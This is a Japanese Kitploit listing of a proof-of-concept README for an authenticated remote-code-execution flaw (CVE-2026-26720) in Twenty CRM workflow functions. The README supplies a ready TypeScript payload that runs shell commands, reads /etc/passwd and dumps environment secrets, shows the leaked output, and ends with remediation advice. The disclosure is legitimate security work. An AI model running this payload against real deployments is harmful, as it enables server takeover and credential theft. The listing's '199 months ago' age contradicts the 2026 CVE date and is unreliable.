Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-26720-Twenty-RCE — Twenty CRMにおける認証済みリモートコード実行の概念実証。サンドボックス化されていないサーバーレスワークフロー関数を介して、任意のNode.jsコマンド実行と環境変数の開示を可能にします。 | Kitploit
ツール/GitHubGitHub/dillonkirsch/cve-2026-26720-twenty-rce
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用クラウドセキュリティ設定ミス
GitHubdillonkirsch/cve-2026-26720-twenty-rce

CVE-2026-26720-Twenty-RCE

Twenty CRMにおける認証済みリモートコード実行の概念実証。サンドボックス化されていないサーバーレスワークフロー関数を介して、任意のNode.jsコマンド実行と環境変数の開示を可能にします。

リポジトリを見る
199ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Twenty CRM - 認証済みリモートコード実行(RCE)

概要

製品: Twenty CRM

脆弱性: サーバーレスワークフロー関数を介したリモートコード実行(RCE)

深刻度: 重大

影響を受けるコンポーネント: ワークフロー自動化(コード - サーバーレス関数)

テスト済みバージョン: v1.15.0

このリポジトリは、Twenty CRM ワークフローエンジンにおける重大な脆弱性を文書化したものです。「コード - サーバーレス関数」コンポーネントは、認証済みユーザーが任意の Node.js コードを実行することを許可します。サンドボックス化が欠如しているため、child_process モジュールをインポートし、ホストサーバー上でシステムレベルのコマンドを実行することが可能です。

脆弱性の詳細

このアプリケーションは、ユーザーがコード実行ステップを含むカスタム自動化ワークフローを作成することを許可します。これはデータ操作を目的としていますが、実行環境は Node.js 組み込みモジュールや基盤となるオペレーティングシステムへのアクセスを適切に制限していません。

攻撃者は child_process ライブラリの execSync を利用して、以下を実行できます:

  1. シェルコマンドの実行(例:cat、ls、whoami)。
  2. ファイルシステムからの機密ファイルの読み取り(例:/etc/passwd)。
  3. 環境変数(process.env)のダンプ。データベース認証情報、API キー、アプリケーションシークレットが漏洩します。

概念実証(PoC)

再現手順

  1. Twenty CRM にログインします。
  2. 設定 > ワークフロー に移動します。
  3. 手動トリガー を使用して新しいワークフローを作成します。
  4. アクションを追加します:コード - サーバーレス関数。
  5. 以下の TypeScript ペイロードをコードエディタに貼り付けます:
import { execSync } from 'child_process';

export const main = async (params: any): Promise<object> => {
  try {
    // 1. リモートコマンド実行:システムユーザーの読み取り
    const output = execSync('cat /etc/passwd').toString();
    
    // 2. 情報漏洩:すべての環境変数(シークレット)のダンプ
    const secrets = JSON.stringify(process.env);
    
    return { 
      data: output, 
      secrets: secrets 
    };
  } catch (e: any) {
    return { error: e.message };
  }
};

  1. ワークフローを保存して実行します。

コード概要

確認された出力

ワークフローは正常に実行され、システムデータを返します。

システムファイルへのアクセス(/etc/passwd):

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...

漏洩した環境変数: process.env のダンプにより、重要な設定情報が明らかになりました:

  • PG_DATABASE_URL(データベース認証情報)
  • APP_SECRET(署名キー)
  • REDIS_URL
  • AWS_ACCESS_KEY(設定されている場合)

影響

この脆弱性により、(ワークフローを作成する権限を持つ)認証済みユーザーがシステム全体の完全な侵害を達成できます。

  • 機密性: 攻撃者はデータベースとファイルシステム内のすべてのデータを読み取ることができます。
  • 完全性: 攻撃者はアプリケーションコードを変更、データを削除、またはマルウェアを注入できます。
  • 可用性: 攻撃者はサーバーをシャットダウンするか、すべてのリソースを消費できます。

修正方法

この問題を修正するには、「サーバーレス関数」機能に適切な分離が必要です。

  • サンドボックス化の実装: コードは制限された環境で実行されるべきです(例:VM2 サンドボックス、ネットワーク/ボリュームアクセスのない専用 Docker コンテナ、または Firecracker などのマイクロ VM)。
  • モジュールの制限: child_process、fs、net などの機密性の高い Node.js モジュールへのアクセスを無効にします。
  • 環境変数のスクラビング: 実行コンテキストが親プロセスの環境変数(アプリのシークレットを含む)を継承しないようにします。

タイムライン

  • 2026年1月8日: 脆弱性を発見。
  • [日付]: Twenty CRM セキュリティチームに報告。
  • [ステータス]: パッチ待ち。
ツールをダウンロード